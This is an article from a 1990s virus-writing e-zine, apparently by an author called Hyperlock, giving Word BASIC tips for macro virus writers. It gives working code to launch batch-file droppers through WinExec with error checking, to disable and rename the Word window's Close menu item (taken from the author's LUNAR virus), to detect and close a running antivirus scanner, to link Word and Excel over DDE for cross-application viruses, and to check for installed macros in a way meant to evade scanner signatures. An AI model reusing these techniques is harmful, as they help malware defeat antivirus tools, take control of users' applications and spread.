Word 6/95 and 97 Tips
n' Tricks
Part 1
by Hyperlock [SLAM]
Introduction
============
There are numerous ways to do things in Word BASIC/VBA, depending on
which version you are using. But, there are better ways to do the
routine tasks that a virus needs to do such as passing control to
another external program, shell or whatever than using the standard
methods provided by Word BASIC/VBA. There are also hidden and
undocumented features which may be of use to a virus writer.
This article will explain some of the 'tricks of the trade' that you
will find useful and will show you some undocumented features.
Contents
========
1. Word - Alternative API Version of the Shell Command
2. Word - Disabling and Altering the System Control Menus
3. Word - Finding and Closing an Active Windows Task
4. Word and Excel - Rudimentary DDE Communication
5. Word - An Alternative Method of Checking For Macros
-------------------------------------------------------------------
1. Word - API Version of the Shell Command
==========================================
So, one of the things that you will probably want to do in a virus
is shell out to a DOS shell or another program, but using the standard
Word 'Shell' command has its flaws:
1. Shell command does not return any condition codes
2. It sucks and can be scanned for as a virus scanner flag
Envisage this scenario: you are sitting there, minding your own business
and you just feel like dropping a load of debug script and shelling a
batch file to process it for you. But ... the batch file decided to fail.
How do you know? You don't, unless you use an alternative method - namely
the method I am about to show you. USE IT.
So, let's assume you have the following bit of code in your virus that
runs a batch file "run_scr.bat":
Shell p$ + "\run_scr.bat", 0
It fucks up, and you don't know because it hasn't returned anything. So,
we do this instead:
In Word 7:
Declare Function WinExec Lib "Kernel32"(lpLine As String, \
nShow As Integer) As Integer
In Word 6:
Declare Function WinExec Lib "Kernel"(lpLine As String, \
nShow As Integer) As Integer
Declare the APIs, then, you can do Shell using the following:
rc = WinExec(p$ + "\run_scr.bat", 8)
If rc < 32 Then
' Error has occurred, so process it
End If
The return codes that will affect the virus specifically are:
1 Out of memory
2,3 File or path not found
Other Assume fatal error and process as required
-------------------------------------------------------------------
2. Word - Disabling and Altering the System Control Menus
=========================================================
--> Note, this code is taken from the LUNAR VIRUS by Hyperlock.
You can disable the system menus but only using the API. There is no
function available in ANY version of Word to do this. So, without
any more messing about, let's get to it. Hey, this will force people
to use the File/Exit menu, so make sure you have that macro in your
virus somewhere! ;ª) So, the first call of the day is to disable or
patch that System menu/Close command ...
Not only that, you may, for whatever reason, want to alter the text
on the system menus as well. Oh OK, I will show you how to do this
as well. ;ª) This is really cool.
This bit of code uses the 32-bit kernel and hence will work in
Word 7 (95) and possibly Word 97 as well, but I don't know about the
latter as I haven't tried it.
The API calls you will need for the 32-bit user.exe are thus:
Declare Function GetMenuItemID Lib "User32"(hMenu As Integer, nPos As
Integer) As Integer
Declare Function GetSystemMenu Lib "User32"(hWnd As Integer, bRevert As
Integer) As Integer
Declare Function FindWindowA Lib "User32"(lpClassName$, lpWindowName
As Long) As Integer
Declare Function GetFocus Lib "User32"() As Integer
Declare Function GetSystemMenu Lib "User32"(hWnd As Integer, bRevert As
Integer) As Integer
Declare Function ModifyMenuA Lib "User32"(hMenu As Integer, nPosition As
Integer, wFlags As Integer, wIDNewItem As Integer, lpString$) As Integer
I have stuck to the Windows naming standards for handles and parameters
and all that shit. Therefore, you should be able to understand what
they all mean.
The system menu, both accessible from buttons on the title bar on the
right hand by the menu itself from the left side of the title bar, has
the following identifiers:
Option No. | Menu Item
----------------------------
0 | Restore
1 | Move
2 | Size
3 | Minimize
4 | Maximize
5 | Close
A menu item with a value of 0 is enabled and 1 is disabled. Given this,
a function can be made to disable/enable menu items in the system menu.
You can even alter the names. All that is required is to get a handle
to the Word window, get the system menu ID, get a handle to the menu item
on the Word system menu and then alter it using the API.
Easy!
Sub Main
enabled = 0 : disabled = 1
REM disable number 6 (close) and change its name to SLAM
x = AlterMenu("SLAM", 6, disabled)
MsgBox Str$(x)
End Sub
Function AlterMenu(item$, item, flag)
hWnd = FindWindowA("OPUSAPP", 0)
hmenu = getsystemmenu(hwnd, 0)
hItem = getmenuitemid(hMenu, item)
AlterMenu = ModifyMenuA(hmenu, hitem, flag, - 10, item$)
End Function
-------------------------------------------------------------------
3. Word - Finding and Closing an Active Windows Task
====================================================
Picture the scenario - you are just about to perform one of your
droppers or your virus is about to copy itself into a template when,
would you believe it, there is a fuckin' virus scanner sitting in
memory. What a bastard, and this thing is just waiting for you. So,
you do this: <ha ha ha>
Sub MAIN
If AppIsRunning("Findvirus") Then
AppClose("Findvirus")
Else
MsgBox "not running"
End If
End Sub
Let us say that there is a virus scanner called FindVirus running, you
will obviously want to close it. So, all you do is pass the string as
it will appear in the Task List to AppIsRunning, and if a positive value
is returned, you AppClose it. Cool eh.
-------------------------------------------------------------------
4. Word and Excel - Rudimentary DDE Communication
=================================================
This is an introduction to DDE (Dynamic Data Exchange) with Word and
Excel, rather than applying it to anything virus related in this
part. Part 2 in SLAM 4 will show you how to run Excel macros from Word
and vice-versa. Pretty neat for running an Excel virus from a Word
virus or for running a Word virus from an Excel one. To give you a
quick example of DDE I have written the demon bit of code below.
Client (Word) --------> Server (Excel)
I know it is a pile of shit and does nothing more than open Excel,
write some text and concatenate it in Excel, pull the answer back
into Word an then display it, but hey, I said it was an example,
and not a friggin' work of art. I think I need some lessons from
Virtual Daemon [SLAM] on how to be more abusive! <ha ha ha>
If you find the following macro doesn't work, then load up Excel first
using the ALTERNATIVE SHELL method as described above of course. If you
want to find out if Excel is running, use GetModuleHandle to find out,
or use the AppIsRunning example in section 3.
REM
REM Start up a DDE channel with Excel, perform some
REM simple manipulation and terminate the channel.
REM
Sub MAIN
channel = DDEInitiate("Excel", "sheet1")
DDEPoke channel, "R1C1", "3"
DDEPoke channel, "R2C1", "SLAM"
a$ = "=CONCATENATE(A2, " + Chr$(34) + " " + Chr$(34) + ", A1)"
DDEPoke channel, "R1C2", a$
a$ = DDERequest$(channel, "R1C2")
DDETerminate channel
MsgBox "E-Zine = " + a$
End Sub
I want you back here for part 2 where I will show you how to run macros
in Word from Excel and vica-versa ... SO BE HERE.
-------------------------------------------------------------------
5. Word - An Alternative Method of Checking For Macros
======================================================
We are forever trying to make our virii such that a scanner looking
for certain signatures will not pick them up. This can be a real pisser
if you have spent a few days perfecting your latest creation and then
a few weeks later some AV bloke decided to he can scan for it with
just a slight addition to the drivers. That really pisses me off, so
I have another method of performing that most rudimentary of operations,
the checking of existing macros.
Consider the following macro which was taken from the Nuclear virus but
is fairly common. It checks of the existance of the Autoexec macro. Now,
to me, that is a lot of code to perform that operation.
OLD METHOD (FROM NUCLEAR VIRUS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Function CheckInstalled
CheckInstalled = 0
If CountMacros(0) > 0 Then
For i = 1 To CountMacros(0)
If MacroName$(i, 0) = "AutoExec" Then
CheckInstalled = 1
End If
Next i
End If
End Function
There is a DIFFERENT and NEWER way of doing this. I will show you below.
NEW METHOD (ADAPTED FROM LUNAR VIRUS by Hyperlock)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sub Main
On Error Goto exit
Mac$ = "AutoExec"
rc = IsExecuteOnly("Global:" + Mac$)
ToolsMacro .Name = Mac$, .Run
exit:
If err = 511 Then
' macro does not exist
End Sub
-------------------------------------------------------------------
Hyperlock [SLAM] e-mail: hyperlock@usa.net